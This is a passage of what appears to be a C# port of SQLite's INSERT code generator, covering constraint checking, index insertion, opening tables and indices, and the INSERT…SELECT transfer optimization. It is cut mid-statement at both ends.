pColumn.nId ) )\n          {\n            sqlite3ExprCode( pParse, pTab.aCol[i].pDflt, iRegStore );\n          }\n          else if ( useTempTable )\n          {\n            sqlite3VdbeAddOp3( v, OP_Column, srcTab, j, iRegStore );\n          }\n          else if ( pSelect != null )\n          {\n            sqlite3VdbeAddOp2( v, OP_SCopy, regFromSelect + j, iRegStore );\n          }\n          else\n          {\n            sqlite3ExprCode( pParse, pList.a[j].pExpr, iRegStore );\n          }\n        }\n\n        /* Generate code to check constraints and generate index keys and\n        ** do the insertion.\n        */\n#if !SQLITE_OMIT_VIRTUALTABLE\n    if( IsVirtual(pTab) ){\n      const char *pVTab = (const char *)sqlite3GetVTable(db, pTab);\n      sqlite3VtabMakeWritable(pParse, pTab);\n      sqlite3VdbeAddOp4(v, OP_VUpdate, 1, pTab->nCol+2, regIns, pVTab, P4_VTAB);\n    }else\n#endif\n        {\n          int isReplace = 0;    /* Set to true if constraints may cause a replace */\n          sqlite3GenerateConstraintChecks( pParse, pTab, baseCur, regIns, aRegIdx,\n          keyColumn >= 0, false, onError, endOfLoop, ref isReplace\n          );\n          sqlite3CompleteInsertion(\n          pParse, pTab, baseCur, regIns, aRegIdx, false,\n          ( tmask & TRIGGER_AFTER ) != 0 ? newIdx : -1, appendFlag, isReplace == 0\n          );\n        }\n      }\n\n      /* Update the count of rows that are inserted\n      */\n      if ( ( db.flags & SQLITE_CountRows ) != 0 )\n      {\n        sqlite3VdbeAddOp2( v, OP_AddImm, regRowCount, 1 );\n      }\n\n#if !SQLITE_OMIT_TRIGGER\n      if ( pTrigger != null )\n      {\n        /* Code AFTER triggers */\n        u32 Ref0_1 = 0;\n        u32 Ref0_2 = 0;\n        if ( sqlite3CodeRowTrigger( pParse, pTrigger, TK_INSERT, null, TRIGGER_AFTER,\n        pTab, newIdx, -1, onError, endOfLoop, ref Ref0_1, ref Ref0_2 ) != 0 )\n        {\n          goto insert_cleanup;\n        }\n      }\n#endif\n\n      /* The bottom of the main insertion loop, if the data source\n** is a SELECT statement.\n*/\n      sqlite3VdbeResolveLabel( v, endOfLoop );\n      if ( useTempTable )\n      {\n        sqlite3VdbeAddOp2( v, OP_Next, srcTab, addrCont );\n        sqlite3VdbeJumpHere( v, addrInsTop );\n        sqlite3VdbeAddOp1( v, OP_Close, srcTab );\n      }\n      else if ( pSelect != null )\n      {\n        sqlite3VdbeAddOp2( v, OP_Goto, 0, addrCont );\n        sqlite3VdbeJumpHere( v, addrInsTop );\n      }\n\n      if ( !IsVirtual( pTab ) && !isView )\n      {\n        /* Close all tables opened */\n        sqlite3VdbeAddOp1( v, OP_Close, baseCur );\n        for ( idx = 1, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, idx++ )\n        {\n          sqlite3VdbeAddOp1( v, OP_Close, idx + baseCur );\n        }\n      }\n\ninsert_end:\n      /* Update the sqlite_sequence table by storing the content of the\n      ** maximum rowid counter values recorded while inserting into\n      ** autoincrement tables.\n      */\n      if ( pParse.nested == 0 && pParse.trigStack == null )\n      {\n        sqlite3AutoincrementEnd( pParse );\n      }\n\n      /*\n      ** Return the number of rows inserted. If this routine is\n      ** generating code because of a call to sqlite3NestedParse(), do not\n      ** invoke the callback function.\n      */\n      if ( ( db.flags & SQLITE_CountRows ) != 0 && pParse.nested == 0 && pParse.trigStack == null )\n      {\n        sqlite3VdbeAddOp2( v, OP_ResultRow, regRowCount, 1 );\n        sqlite3VdbeSetNumCols( v, 1 );\n        sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"rows inserted\", SQLITE_STATIC );\n      }\n\ninsert_cleanup:\n      sqlite3SrcListDelete( db, ref pTabList );\n      sqlite3ExprListDelete( db, ref pList );\n      sqlite3SelectDelete( db, ref pSelect );\n      sqlite3IdListDelete( db, ref pColumn );\n      //sqlite3DbFree( db, ref aRegIdx );\n    }\n\n    /*\n    ** Generate code to do constraint checks prior to an INSERT or an UPDATE.\n    **\n    ** The input is a range of consecutive registers as follows:\n    **\n    **    1.  The rowid of the row to be updated before the update.  This\n    **        value is omitted unless we are doing an UPDATE that involves a\n    **        change to the record number or writing to a virtual table.\n    **\n    **    2.  The rowid of the row after the update.\n    **\n    **    3.  The data in the first column of the entry after the update.\n    **\n    **    i.  Data from middle columns...\n    **\n    **    N.  The data in the last column of the entry after the update.\n    **\n    ** The regRowid parameter is the index of the register containing (2).\n    **\n    ** The old rowid shown as entry (1) above is omitted unless both isUpdate\n    ** and rowidChng are 1.  isUpdate is true for UPDATEs and false for\n    ** INSERTs.  RowidChng means that the new rowid is explicitly specified by\n    ** the update or insert statement.  If rowidChng is false, it means that\n    ** the rowid is computed automatically in an insert or that the rowid value\n    ** is not modified by the update.\n    **\n    ** The code generated by this routine store new index entries into\n    ** registers identified by aRegIdx[].  No index entry is created for\n    ** indices where aRegIdx[i]==0.  The order of indices in aRegIdx[] is\n    ** the same as the order of indices on the linked list of indices\n    ** attached to the table.\n    **\n    ** This routine also generates code to check constraints.  NOT NULL,\n    ** CHECK, and UNIQUE constraints are all checked.  If a constraint fails,\n    ** then the appropriate action is performed.  There are five possible\n    ** actions: ROLLBACK, ABORT, FAIL, REPLACE, and IGNORE.\n    **\n    **  Constraint type  Action       What Happens\n    **  ---------------  ----------   ----------------------------------------\n    **  any              ROLLBACK     The current transaction is rolled back and\n    **                                sqlite3_exec() returns immediately with a\n    **                                return code of SQLITE_CONSTRAINT.\n    **\n    **  any              ABORT        Back out changes from the current command\n    **                                only (do not do a complete rollback) then\n    **                                cause sqlite3_exec() to return immediately\n    **                                with SQLITE_CONSTRAINT.\n    **\n    **  any              FAIL         Sqlite_exec() returns immediately with a\n    **                                return code of SQLITE_CONSTRAINT.  The\n    **                                transaction is not rolled back and any\n    **                                prior changes are retained.\n    **\n    **  any              IGNORE       The record number and data is popped from\n    **                                the stack and there is an immediate jump\n    **                                to label ignoreDest.\n    **\n    **  NOT NULL         REPLACE      The NULL value is replace by the default\n    **                                value for that column.  If the default value\n    **                                is NULL, the action is the same as ABORT.\n    **\n    **  UNIQUE           REPLACE      The other row that conflicts with the row\n    **                                being inserted is removed.\n    **\n    **  CHECK            REPLACE      Illegal.  The results in an exception.\n    **\n    ** Which action to take is determined by the overrideError parameter.\n    ** Or if overrideError==OE_Default, then the pParse.onError parameter\n    ** is used.  Or if pParse.onError==OE_Default then the onError value\n    ** for the constraint is used.\n    **\n    ** The calling routine must open a read/write cursor for pTab with\n    ** cursor number \"baseCur\".  All indices of pTab must also have open\n    ** read/write cursors with cursor number baseCur+i for the i-th cursor.\n    ** Except, if there is no possibility of a REPLACE action then\n    ** cursors do not need to be open for indices where aRegIdx[i]==0.\n    */\n    static void sqlite3GenerateConstraintChecks(\n    Parse pParse,       /* The parser context */\n    Table pTab,         /* the table into which we are inserting */\n    int baseCur,        /* Index of a read/write cursor pointing at pTab */\n    int regRowid,       /* Index of the range of input registers */\n    int[] aRegIdx,      /* Register used by each index.  0 for unused indices */\n    bool rowidChng,     /* True if the rowid might collide with existing entry */\n    bool isUpdate,      /* True for UPDATE, False for INSERT */\n    int overrideError,  /* Override onError to this if not OE_Default */\n    int ignoreDest,     /* Jump to this label on an OE_Ignore resolution */\n    ref int pbMayReplace   /* OUT: Set to true if constraint may cause a replace */\n    )\n    {\n\n      int i;               /* loop counter */\n      Vdbe v;              /* VDBE under constrution */\n      int nCol;            /* Number of columns */\n      int onError;         /* Conflict resolution strategy */\n      int j1;              /* Addresss of jump instruction */\n      int j2 = 0, j3;      /* Addresses of jump instructions */\n      int regData;         /* Register containing first data column */\n      int iCur;            /* Table cursor number */\n      Index pIdx;         /* Pointer to one of the indices */\n      bool seenReplace = false; /* True if REPLACE is used to resolve INT PK conflict */\n      bool hasTwoRowids = ( isUpdate && rowidChng );\n\n      v = sqlite3GetVdbe( pParse );\n      Debug.Assert( v != null );\n      Debug.Assert( pTab.pSelect == null );  /* This table is not a VIEW */\n      nCol = pTab.nCol;\n      regData = regRowid + 1;\n\n\n      /* Test all NOT NULL constraints.\n      */\n      for ( i = 0 ; i < nCol ; i++ )\n      {\n        if ( i == pTab.iPKey )\n        {\n          continue;\n        }\n        onError = pTab.aCol[i].notNull;\n        if ( onError == OE_None ) continue;\n        if ( overrideError != OE_Default )\n        {\n          onError = overrideError;\n        }\n        else if ( onError == OE_Default )\n        {\n          onError = OE_Abort;\n        }\n        if ( onError == OE_Replace && pTab.aCol[i].pDflt == null )\n        {\n          onError = OE_Abort;\n        }\n        Debug.Assert( onError == OE_Rollback || onError == OE_Abort || onError == OE_Fail\n        || onError == OE_Ignore || onError == OE_Replace );\n        switch ( onError )\n        {\n          case OE_Rollback:\n          case OE_Abort:\n          case OE_Fail:\n            {\n              string zMsg;\n              j1 = sqlite3VdbeAddOp3( v, OP_HaltIfNull,\n                          SQLITE_CONSTRAINT, onError, regData + i );\n              zMsg = sqlite3MPrintf( pParse.db, \"%s.%s may not be NULL\",\n              pTab.zName, pTab.aCol[i].zName );\n              sqlite3VdbeChangeP4( v, -1, zMsg, P4_DYNAMIC );\n              break;\n            }\n          case OE_Ignore:\n            {\n              sqlite3VdbeAddOp2( v, OP_IsNull, regData + i, ignoreDest );\n              break;\n            }\n          default:\n            {\n              Debug.Assert( onError == OE_Replace );\n              j1 = sqlite3VdbeAddOp1( v, OP_NotNull, regData + i );\n              sqlite3ExprCode( pParse, pTab.aCol[i].pDflt, regData + i );\n              sqlite3VdbeJumpHere( v, j1 );\n              break;\n            }\n        }\n      }\n\n      /* Test all CHECK constraints\n      */\n#if !SQLITE_OMIT_CHECK\n      if ( pTab.pCheck != null && ( pParse.db.flags & SQLITE_IgnoreChecks ) == 0 )\n      {\n        int allOk = sqlite3VdbeMakeLabel( v );\n        pParse.ckBase = regData;\n        sqlite3ExprIfTrue( pParse, pTab.pCheck, allOk, SQLITE_JUMPIFNULL );\n        onError = overrideError != OE_Default ? overrideError : OE_Abort;\n        if ( onError == OE_Ignore )\n        {\n          sqlite3VdbeAddOp2( v, OP_Goto, 0, ignoreDest );\n        }\n        else\n        {\n          sqlite3VdbeAddOp2( v, OP_Halt, SQLITE_CONSTRAINT, onError );\n        }\n        sqlite3VdbeResolveLabel( v, allOk );\n      }\n#endif // * !SQLITE_OMIT_CHECK) */\n\n      /* If we have an INTEGER PRIMARY KEY, make sure the primary key\n** of the new record does not previously exist.  Except, if this\n** is an UPDATE and the primary key is not changing, that is OK.\n*/\n      if ( rowidChng )\n      {\n        onError = pTab.keyConf;\n        if ( overrideError != OE_Default )\n        {\n          onError = overrideError;\n        }\n        else if ( onError == OE_Default )\n        {\n          onError = OE_Abort;\n        }\n\n        if ( onError != OE_Replace || pTab.pIndex != null )\n        {\n          if ( isUpdate )\n          {\n            j2 = sqlite3VdbeAddOp3( v, OP_Eq, regRowid, 0, regRowid - 1 );\n          }\n          j3 = sqlite3VdbeAddOp3( v, OP_NotExists, baseCur, 0, regRowid );\n          switch ( onError )\n          {\n            default:\n              {\n                onError = OE_Abort;\n                /* Fall thru into the next case */\n              }\n              goto case OE_Rollback;\n            case OE_Rollback:\n            case OE_Abort:\n            case OE_Fail:\n              {\n                sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, onError, 0,\n                   \"PRIMARY KEY must be unique\", P4_STATIC );\n                break;\n              }\n            case OE_Replace:\n              {\n                sqlite3GenerateRowIndexDelete( pParse, pTab, baseCur, 0 );\n                seenReplace = true;\n                break;\n              }\n            case OE_Ignore:\n              {\n                Debug.Assert( !seenReplace );\n                sqlite3VdbeAddOp2( v, OP_Goto, 0, ignoreDest );\n                break;\n              }\n          }\n          sqlite3VdbeJumpHere( v, j3 );\n          if ( isUpdate )\n          {\n            sqlite3VdbeJumpHere( v, j2 );\n          }\n        }\n      }\n\n      /* Test all UNIQUE constraints by creating entries for each UNIQUE\n      ** index and making sure that duplicate entries do not already exist.\n      ** Add the new records to the indices as we go.\n      */\n      for ( iCur = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, iCur++ )\n      {\n        int regIdx;\n        int regR;\n\n        if ( aRegIdx[iCur] == 0 ) continue;  /* Skip unused indices */\n\n        /* Create a key for accessing the index entry */\n        regIdx = sqlite3GetTempRange( pParse, pIdx.nColumn + 1 );\n        for ( i = 0 ; i < pIdx.nColumn ; i++ )\n        {\n          int idx = pIdx.aiColumn[i];\n          if ( idx == pTab.iPKey )\n          {\n            sqlite3VdbeAddOp2( v, OP_SCopy, regRowid, regIdx + i );\n          }\n          else\n          {\n            sqlite3VdbeAddOp2( v, OP_SCopy, regData + idx, regIdx + i );\n          }\n        }\n        sqlite3VdbeAddOp2( v, OP_SCopy, regRowid, regIdx + i );\n        sqlite3VdbeAddOp3( v, OP_MakeRecord, regIdx, pIdx.nColumn + 1, aRegIdx[iCur] );\n        sqlite3IndexAffinityStr( v, pIdx );\n        sqlite3ExprCacheAffinityChange( pParse, regIdx, pIdx.nColumn + 1 );\n\n        /* Find out what action to take in case there is an indexing conflict */\n        onError = pIdx.onError;\n        if ( onError == OE_None )\n        {\n          sqlite3ReleaseTempRange( pParse, regIdx, pIdx.nColumn + 1 );\n          continue;  /* pIdx is not a UNIQUE index */\n        }\n\n        if ( overrideError != OE_Default )\n        {\n          onError = overrideError;\n        }\n        else if ( onError == OE_Default )\n        {\n          onError = OE_Abort;\n        }\n        if ( seenReplace )\n        {\n          if ( onError == OE_Ignore ) onError = OE_Replace;\n          else if ( onError == OE_Fail ) onError = OE_Abort;\n        }\n\n\n        /* Check to see if the new index entry will be unique */\n        regR = sqlite3GetTempReg( pParse );\n        sqlite3VdbeAddOp2( v, OP_SCopy, regRowid - ( hasTwoRowids ? 1 : 0 ), regR );\n        j3 = sqlite3VdbeAddOp4( v, OP_IsUnique, baseCur + iCur + 1, 0,\n        regR, regIdx,//regR, SQLITE_INT_TO_PTR(regIdx),\n        P4_INT32 );\n        sqlite3ReleaseTempRange( pParse, regIdx, pIdx.nColumn + 1 );\n\n        /* Generate code that executes if the new index entry is not unique */\n        Debug.Assert( onError == OE_Rollback || onError == OE_Abort || onError == OE_Fail\n        || onError == OE_Ignore || onError == OE_Replace );\n        switch ( onError )\n        {\n          case OE_Rollback:\n          case OE_Abort:\n          case OE_Fail:\n            {\n              int j;\n              StrAccum errMsg = new StrAccum();\n              string zSep;\n              string zErr;\n\n              sqlite3StrAccumInit( errMsg, new StringBuilder( 200 ), 0, 200 );\n              errMsg.db = pParse.db;\n              zSep = pIdx.nColumn > 1 ? \"columns \" : \"column \";\n              for ( j = 0 ; j < pIdx.nColumn ; j++ )\n              {\n                string zCol = pTab.aCol[pIdx.aiColumn[j]].zName;\n                sqlite3StrAccumAppend( errMsg, zSep, -1 );\n                zSep = \", \";\n                sqlite3StrAccumAppend( errMsg, zCol, -1 );\n              }\n              sqlite3StrAccumAppend( errMsg,\n              pIdx.nColumn > 1 ? \" are not unique\" : \" is not unique\", -1 );\n              zErr = sqlite3StrAccumFinish( errMsg );\n              sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, onError, 0, zErr, 0 );\n              //sqlite3DbFree( errMsg.db, zErr );\n              break;\n            }\n          case OE_Ignore:\n            {\n              Debug.Assert( !seenReplace );\n              sqlite3VdbeAddOp2( v, OP_Goto, 0, ignoreDest );\n              break;\n            }\n          default:\n            {\n              Debug.Assert( onError == OE_Replace );\n              sqlite3GenerateRowDelete( pParse, pTab, baseCur, regR, 0 );\n              seenReplace = true;\n              break;\n            }\n        }\n        sqlite3VdbeJumpHere( v, j3 );\n        sqlite3ReleaseTempReg( pParse, regR );\n      }\n      //if ( pbMayReplace )\n      {\n        pbMayReplace = seenReplace ? 1 : 0;\n      }\n    }\n\n    /*\n    ** This routine generates code to finish the INSERT or UPDATE operation\n    ** that was started by a prior call to sqlite3GenerateConstraintChecks.\n    ** A consecutive range of registers starting at regRowid contains the\n    ** rowid and the content to be inserted.\n    **\n    ** The arguments to this routine should be the same as the first six\n    ** arguments to sqlite3GenerateConstraintChecks.\n    */\n    static void sqlite3CompleteInsertion(\n    Parse pParse,       /* The parser context */\n    Table pTab,         /* the table into which we are inserting */\n    int baseCur,        /* Index of a read/write cursor pointing at pTab */\n    int regRowid,       /* Range of content */\n    int[] aRegIdx,      /* Register used by each index.  0 for unused indices */\n    bool isUpdate,      /* True for UPDATE, False for INSERT */\n    int newIdx,         /* Index of NEW table for triggers.  -1 if none */\n    bool appendBias,    /* True if this is likely to be an append */\n    bool useSeekResult  /* True to set the USESEEKRESULT flag on OP_[Idx]Insert */\n    )\n    {\n      int i;\n      Vdbe v;\n      int nIdx;\n      Index pIdx;\n      u8 pik_flags;\n      int regData;\n      int regRec;\n\n      v = sqlite3GetVdbe( pParse );\n      Debug.Assert( v != null );\n      Debug.Assert( pTab.pSelect == null );  /* This table is not a VIEW */\n      for ( nIdx = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, nIdx++ ) { }\n      for ( i = nIdx - 1 ; i >= 0 ; i-- )\n      {\n        if ( aRegIdx[i] == 0 ) continue;\n        sqlite3VdbeAddOp2( v, OP_IdxInsert, baseCur + i + 1, aRegIdx[i] );\n        if ( useSeekResult )\n        {\n          sqlite3VdbeChangeP5( v, OPFLAG_USESEEKRESULT );\n        }\n      }\n      regData = regRowid + 1;\n      regRec = sqlite3GetTempReg( pParse );\n      sqlite3VdbeAddOp3( v, OP_MakeRecord, regData, pTab.nCol, regRec );\n      sqlite3TableAffinityStr( v, pTab );\n      sqlite3ExprCacheAffinityChange( pParse, regData, pTab.nCol );\n#if !SQLITE_OMIT_TRIGGER\n      if ( newIdx >= 0 )\n      {\n        sqlite3VdbeAddOp3( v, OP_Insert, newIdx, regRec, regRowid );\n      }\n#endif\n      if ( pParse.nested != 0 )\n      {\n        pik_flags = 0;\n      }\n      else\n      {\n        pik_flags = OPFLAG_NCHANGE;\n        pik_flags |= ( isUpdate ? OPFLAG_ISUPDATE : OPFLAG_LASTROWID );\n      }\n      if ( appendBias )\n      {\n        pik_flags |= OPFLAG_APPEND;\n      }\n      if ( useSeekResult )\n      {\n        pik_flags |= OPFLAG_USESEEKRESULT;\n      }\n      sqlite3VdbeAddOp3( v, OP_Insert, baseCur, regRec, regRowid );\n      if ( pParse.nested == 0 )\n      {\n        sqlite3VdbeChangeP4( v, -1, pTab.zName, P4_STATIC );\n      }\n      sqlite3VdbeChangeP5( v, pik_flags );\n    }\n\n    /*\n    ** Generate code that will open cursors for a table and for all\n    ** indices of that table.  The \"baseCur\" parameter is the cursor number used\n    ** for the table.  Indices are opened on subsequent cursors.\n    **\n    ** Return the number of indices on the table.\n    */\n    static int sqlite3OpenTableAndIndices(\n    Parse pParse,   /* Parsing context */\n    Table pTab,     /* Table to be opened */\n    int baseCur,    /* VdbeCursor number assigned to the table */\n    int op          /* OP_OpenRead or OP_OpenWrite */\n    )\n    {\n      int i;\n      int iDb;\n      Index pIdx;\n      Vdbe v;\n\n      if ( IsVirtual( pTab ) ) return 0;\n      iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema );\n      v = sqlite3GetVdbe( pParse );\n      Debug.Assert( v != null );\n      sqlite3OpenTable( pParse, baseCur, iDb, pTab, op );\n      for ( i = 1, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, i++ )\n      {\n        KeyInfo pKey = sqlite3IndexKeyinfo( pParse, pIdx );\n        Debug.Assert( pIdx.pSchema == pTab.pSchema );\n        sqlite3VdbeAddOp4( v, op, i + baseCur, pIdx.tnum, iDb,\n        pKey, P4_KEYINFO_HANDOFF );\n#if SQLITE_DEBUG\n        VdbeComment( v, \"%s\", pIdx.zName );\n#endif\n      }\n      if ( pParse.nTab < baseCur + i )\n      {\n        pParse.nTab = baseCur + i;\n      }\n      return i - 1;\n    }\n\n\n#if  SQLITE_TEST\n    /*\n** The following global variable is incremented whenever the\n** transfer optimization is used.  This is used for testing\n** purposes only - to make sure the transfer optimization really\n** is happening when it is suppose to.\n*/\n    //static int sqlite3_xferopt_count = 0;\n#endif // * SQLITE_TEST */\n\n\n#if !SQLITE_OMIT_XFER_OPT\n    /*\n** Check to collation names to see if they are compatible.\n*/\n    static bool xferCompatibleCollation( string z1, string z2 )\n    {\n      if ( z1 == null )\n      {\n        return z2 == null;\n      }\n      if ( z2 == null )\n      {\n        return false;\n      }\n      return sqlite3StrICmp( z1, z2 ) == 0;\n    }\n\n\n    /*\n    ** Check to see if index pSrc is compatible as a source of data\n    ** for index pDest in an insert transfer optimization.  The rules\n    ** for a compatible index:\n    **\n    **    *   The index is over the same set of columns\n    **    *   The same DESC and ASC markings occurs on all columns\n    **    *   The same onError processing (OE_Abort, OE_Ignore, etc)\n    **    *   The same collating sequence on each column\n    */\n    static bool xferCompatibleIndex( Index pDest, Index pSrc )\n    {\n      int i;\n      Debug.Assert( pDest != null && pSrc != null );\n      Debug.Assert( pDest.pTable != pSrc.pTable );\n      if ( pDest.nColumn != pSrc.nColumn )\n      {\n        return false;   /* Different number of columns */\n      }\n      if ( pDest.onError != pSrc.onError )\n      {\n        return false;   /* Different conflict resolution strategies */\n      }\n      for ( i = 0 ; i < pSrc.nColumn ; i++ )\n      {\n        if ( pSrc.aiColumn[i] != pDest.aiColumn[i] )\n        {\n          return false;   /* Different columns indexed */\n        }\n        if ( pSrc.aSortOrder[i] != pDest.aSortOrder[i] )\n        {\n          return false;   /* Different sort orders */\n        }\n        if ( !xferCompatibleCollation( pSrc.azColl[i], pDest.azColl[i] ) )\n        {\n          return false;   /* Different collating sequences */\n        }\n      }\n\n      /* If no test above fails then the indices must be compatible */\n      return true;\n    }\n\n    /*\n    ** Attempt the transfer optimization on INSERTs of the form\n    **\n    **     INSERT INTO tab1 SELECT * FROM tab2;\n    **\n    ** This optimization is only attempted if\n    **\n    **    (1)  tab1 and tab2 have identical schemas including all the\n    **         same indices and constraints\n    **\n    **    (2)  tab1 and tab2 are different tables\n    **\n    **    (3)  There must be no triggers on tab1\n    **\n    **    (4)  The result set of the SELECT statement is \"*\"\n    **\n    **    (5)  The SELECT statement has no WHERE, HAVING, ORDER BY, GROUP BY,\n    **         or LIMIT clause.\n    **\n    **    (6)  The SELECT statement is a simple (not a compound) select that\n    **         contains only tab2 in its FROM clause\n    **\n    ** This method for implementing the INSERT transfers raw records from\n    ** tab2 over to tab1.  The columns are not decoded.  Raw records from\n    ** the indices of tab2 are transfered to tab1 as well.  In so doing,\n    ** the resulting tab1 has much less fragmentation.\n    **\n    ** This routine returns TRUE if the optimization is attempted.  If any\n    ** of the conditions above fail so that the optimization should not\n    ** be attempted, then this routine returns FALSE.\n    */\n    static int xferOptimization(\n    Parse pParse,         /* Parser context */\n    Table pDest,          /* The table we are inserting into */\n    Select pSelect,       /* A SELECT statement to use as the data source */\n    int onError,          /* How to handle constraint errors */\n    int iDbDest           /* The database of pDest */\n    )\n    {\n      ExprList pEList;                 /* The result set of the SELECT */\n      Table pSrc;                      /* The table in the FROM clause of SELECT */\n      Index pSrcIdx, pDestIdx;         /* Source and destination indices */\n      SrcList_item pItem;              /* An element of pSelect.pSrc */\n      int i;                           /* Loop counter */\n      int iDbSrc;                      /* The database of pSrc */\n      int iSrc, iDest;                 /* Cursors from source and destination */\n      int addr1, addr2;                /* Loop addresses */\n      int emptyDestTest;               /* Address of test for empty pDest */\n      int emptySrcTest;                /* Address of test for empty pSrc */\n      Vdbe v;                          /* The VDBE we are building */\n      KeyInfo pKey;                    /* Key information for an index */\n      int regAutoinc;                  /* Memory register used by AUTOINC */\n      bool destHasUniqueIdx = false;   /* True if pDest has a UNIQUE index */\n      int regData, regRowid;           /* Registers holding data and rowid */\n\n      if ( pSelect == null )\n      {\n        return 0;   /* Must be of the form  INSERT INTO ... SELECT ... */\n      }\n#if !SQLITE_OMIT_TRIGGER\n      if ( sqlite3TriggerList( pParse, pDest ) != null )\n      {\n        return 0;   /* tab1 must not have triggers */\n      }\n#endif\n\n      if ( ( pDest.tabFlags & TF_Virtual ) != 0 )\n      {\n        return 0;   /* tab1 must not be a virtual table */\n      }\n      if ( onError == OE_Default )\n      {\n        onError = OE_Abort;\n      }\n      if ( onError != OE_Abort && onError != OE_Rollback )\n      {\n        return 0;   /* Cannot do OR REPLACE or OR IGNORE or OR FAIL */\n      }\n      Debug.Assert( pSelect.pSrc != null );   /* allocated even if there is no FROM clause */\n      if ( pSelect.pSrc.nSrc != 1 )\n      {\n        return 0;   /* FROM clause must have exactly one term */\n      }\n      if ( pSelect.pSrc.a[0].pSelect != null )\n      {\n        return 0;   /* FROM clause cannot contain a subquery */\n      }\n      if ( pSelect.pWhere != null )\n      {\n        return 0;   /* SELECT may not have a WHERE clause */\n      }\n      if ( pSelect.pOrderBy != null )\n      {\n        return 0;   /* SELECT may not have an ORDER BY clause */\n      }\n      /* Do not need to test for a HAVING clause.  If HAVING is present but\n      ** there is no ORDER BY, we will get an error. */\n      if ( pSelect.pGroupBy != null )\n      {\n        return 0;   /* SELECT may not have a GROUP BY clause */\n      }\n      if ( pSelect.pLimit != null )\n      {\n        return 0;   /* SELECT may not have a LIMIT clause */\n      }\n      Debug.Assert( pSelect.pOffset == null );  /* Must be so if pLimit==0 */\n      if ( pSelect.pPrior != null )\n      {\n        return 0;   /* SELECT may not be a compound query */\n      }\n      if ( ( pSelect.selFlags & SF_Distinct ) != 0 )\n      {\n        return 0;   /* SELECT may not be DISTINCT */\n      }\n      pEList = pSelect.pEList;\n      Debug.Assert( pEList != null );\n      if ( pEList.nExpr != 1 )\n      {\n        return 0;   /* The result set must have exactly one column */\n      }\n      Debug.Assert( pEList.a[0].pExpr != null );\n      if ( pEList.a[0].pExpr.op != TK_ALL )\n      {\n        return 0;   /* The result set must be the special operator \"*\" */\n      }\n\n      /* At this point we have established that the statement is of the\n      ** correct syntactic form to participate in this optimization.  Now\n      ** we have to check the semantics.\n      */\n      pItem = pSelect.pSrc.a[0];\n      pSrc = sqlite3LocateTable( pParse, 0, pItem.zName, pItem.zDatabase );\n      if ( pSrc == null )\n      {\n        return 0;   /* FROM clause does not contain a real table */\n      }\n      if ( pSrc == pDest )\n      {\n        return 0;   /* tab1 and tab2 may not be the same table */\n      }\n      if ( ( pSrc.tabFlags & TF_Virtual ) != 0 )\n      {\n        return 0;   /* tab2 must not be a virtual table */\n      }\n      if ( pSrc.pSelect != null )\n      {\n        return 0;   /* tab2 may not be a view */\n      }\n      if ( pDest.nCol != pSrc.nCol )\n      {\n        return 0;   /* Number of columns must be the same in tab1 and tab2 */\n      }\n      if ( pDest.iPKey != pSrc.iPKey )\n      {\n        return 0;   /* Both tables must have the same INTEGER PRIMARY KEY */\n      }\n      for ( i = 0 ; i < pDest.nCol ; i++ )\n      {\n        if ( pDest.aCol[i].affinity != pSrc.aCol[i].affinity )\n        {\n          return 0;    /* Affinity must be the same on all columns */\n        }\n        if ( !xferCompatibleCollation( pDest.aCol[i].zColl, pSrc.aCol[i].zColl ) )\n        {\n          return 0;    /* Collating sequence must be the same on all columns */\n        }\n        if ( pDest.aCol[i].notNull != 0 && pSrc.aCol[i].notNull == 0 )\n        {\n          return 0;    /* tab2 must be NOT NULL if tab1 is */\n        }\n      }\n      for ( pDestIdx = pDest.pIndex ; pDestIdx != null ; pDestIdx = pDestIdx.pNext )\n      {\n        if ( pDestIdx.onError != OE_None )\n        {\n          destHasUniqueIdx = true;\n        }\n        for ( pSrcIdx = pSrc.pIndex ; pSrcIdx != null ; pSrcIdx = pSrcIdx.pNext )\n        {\n          if ( xferCompatibleIndex( pDestIdx, pSrcIdx ) ) break;\n        }\n        if ( pSrcIdx == null )\n        {\n          return 0;    /* pDestIdx has no corresponding index in pSrc */\n        }\n      }\n#if !SQLITE_OMIT_CHECK\n      if ( pDest.pCheck != null && !sqlite3ExprCompare( pSrc.pCheck, pDest.pCheck ) )\n      {\n        return 0;   /* Tables have different CHECK constraints.  Ticket #2252 */\n      }\n#endif\n\n      /* If we get this far, it means either:\n**\n**    *   We can always do the transfer if the table contains an\n**        an integer primary key\n**\n**    *   We can conditionally do the transfer if the destination\n**        table is empty.\n*/\n#if  SQLITE_TEST\n      sqlite3_xferopt_count.iValue++;\n#endif\n      iDbSrc = sqlite3SchemaToIndex( pParse.db, pSrc.pSchema );\n      v = sqlite3GetVdbe( pParse );\n      sqlite3CodeVerifySchema( pParse, iDbSrc );\n      iSrc = pParse.nTab++;\n      iDest = pParse.nTab++;\n      regAutoinc = autoIncBegin( pParse, iDbDest, pDest );\n      sqlite3OpenTable( pParse, iDest, iDbDest, pDest, OP_OpenWrite );\n      if ( ( pDest.iPKey < 0 && pDest.pIndex != null ) || destHasUniqueIdx )\n      {\n        /* If tables do not have an INTEGER PRIMARY KEY and there\n        ** are indices to be copied and the destination is not empty,\n        ** we have to disallow the transfer optimization because the\n        ** the rowids might change which will mess up indexing.\n        **\n        ** Or if the destination has a UNIQUE index and is not empty,\n        ** we also disallow the transfer optimization because we cannot\n        ** insure that all entries in the union of DEST and SRC will be\n        ** unique.\n        */\n        addr1 = sqlite3VdbeAddOp2( v, OP_Rewind, iDest, 0 );\n        emptyDestTest = sqlite3VdbeAddOp2( v, OP_Goto, 0, 0 );\n        sqlite3VdbeJumpHere( v, addr1 );\n      }\n      else\n      {\n        emptyDestTest = 0;\n      }\n      sqlite3OpenTable( pParse, iSrc, iDbSrc, pSrc, OP_OpenRead );\n      emptySrcTest = sqlite3VdbeAddOp2( v, OP_Rewind, iSrc, 0 );\n      regData = sqlite3GetTempReg( pParse );\n      regRowid = sqlite3GetTempReg( pParse );\n      if ( pDest.iPKey >= 0 )\n      {\n        addr1 = sqlite3VdbeAddOp2( v, OP_Rowid, iSrc, regRowid );\n        addr2 = sqlite3VdbeAddOp3( v, OP_NotExists, iDest, 